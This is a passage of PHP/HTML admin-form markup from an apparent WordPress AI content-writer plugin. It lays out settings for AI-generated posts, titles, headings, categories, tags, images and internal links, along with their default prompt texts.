bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[replace_regex_prompts][]" placeholder="regex replacement"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on" name="aiomatic_rules_list[run_regex_on][]" type="text" list="run_regex_on_list" class="coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h3><?php echo esc_html__("Title Based Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Post Content - AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for text generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_rules_list[model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to OpenAI/AiomaticAPI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[ai_command][]" placeholder="Please insert a command for the AI" class="cr_width_full">Write a comprehensive and SEO-optimized article on the topic of "%%post_title%%". Incorporate relevant keywords naturally throughout the article to enhance search engine visibility. This article must provide valuable information to readers and be well-structured with proper headings, bullet points, and HTML formatting. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Add an introductory and a conclusion section to the article. You can add also some other sections, when they fit the article's subject, like: benefits and practical tips, case studies, first had experience. Please ensure that the article is at least 1200 words in length and adheres to best SEO practices, including proper header tags (H1, H2, H3), meta title, and meta description. Feel free to use a friendly, conversational tone and make the article as informative and engaging as possible while ensuring it remains factually accurate and well-researched. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website.</textarea> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Select the minimum number of characters that the posts should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting <a href='%s'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://beta.openai.com/docs/api-reference/introduction' ); ?> </div> </div> <b><?php echo esc_html__("AI Content Minimum Character Count:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" step="1" name="aiomatic_rules_list[min_char][]" value="500" placeholder="Please insert a minimum number of characters for posts" class="cr_width_full"> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Post Title - AI Text Generator Options (%%ai_generated_title%% shortcode)", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The %%ai_generated_title%% shortcode can be used in the 'Post Title List / TXT File URL / RSS Feed URL' settings field, to get partial or fully AI generated titles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> </td></tr> <tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="title_model" name="aiomatic_rules_list[title_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post titles. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Title Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[title_ai_command][]" placeholder="Please insert a command for the AI" class="cr_width_full">Craft an attention-grabbing and SEO-optimized article title for a dental health blog. This title must be concise, informative, and designed to pique the interest of readers while clearly conveying the topic of the article.</textarea> </td> </tr><tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the source of the post title. If you select AI generated, the plugin will create an AI generated title based on keywords you enter in the 'Post Title List' settings field. Otherwise, it will use the titles listed there, for the created posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Title Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="title_source" name="aiomatic_rules_list[title_source][]" class="cr_width_full"> <option value="keyword" selected><?php echo esc_html__("Use The Titles From The 'Post Title List' Settings Field", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("Fully AI Generated Titles", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Rich Content Creation Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of related headings to add to the created post content. This feature will use the 'People Also Ask' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin's 'Settings' menu -> 'SerpAPI API Key' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Related Headings to Add To The Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_rules_list[headings][]" value="" placeholder="Max heading count" class="cr_width_full"> </td> </tr> <tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for headings generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Headings Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="headings_model" name="aiomatic_rules_list[headings_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%' You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Related Headings AI Generator Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[headings_ai_command][]" placeholder="Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%" class="cr_width_full">Generate %%needed_heading_count%% People Also Ask (PAA) related questions, each on a new line, that are relevant to the topic of the post title: "%%post_title%%".</textarea> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Settings' menu or if you have access to the DallE API.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Related Images to Add To The Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_rules_list[images][]" value="" placeholder="Max image count" class="cr_width_full"> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a related YouTube video to the end of to the created post content. This feature will require you to add at least one YouTube API key in the plugin's 'Settings' -> 'YouTube API Key List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Related Video To The End Of The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="videos" name="aiomatic_rules_list[videos][]"> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Manual Headings and Images List", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a list of headings (one on each line) to use in the generated articles. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[headings_list][]" placeholder="List of headings" class="cr_width_full"></textarea> </td> </tr><tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a list of image URLs (one on each line) to use in the generated articles. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of Images:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[images_list][]" placeholder="List of images" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks('');" name="aiomatic_rules_list[link_type][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_rules_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_rules_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_rules_list[link_nofollow][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_rules_list[link_post_types][]" placeholder="post" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Category Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post categories from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_rules_list[auto_categories][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="category_model" name="aiomatic_rules_list[category_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_rules_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant categories for the post title: "%%post_title%%". These categories must accurately categorize the article within the broader topics or themes of your blog, aiding in the organization and navigation of your content.</textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select multiple id="default_category" name="aiomatic_rules_list[default_category][]" class="cr_width_full" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678" selected><?php echo esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer');?></option> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <option value="<?php echo esc_html($category->term_id); ?>"><?php echo sanitize_text_field($category->name) . ' - ID ' . $category->term_id; ?></option> <?php } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Remove WP Default Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="remove_default" name="aiomatic_rules_list[remove_default][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_inexist" name="aiomatic_rules_list[skip_inexist][]" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Tag Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post tags from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_rules_list[auto_tags][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="tag_model" name="aiomatic_rules_list[tag_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of 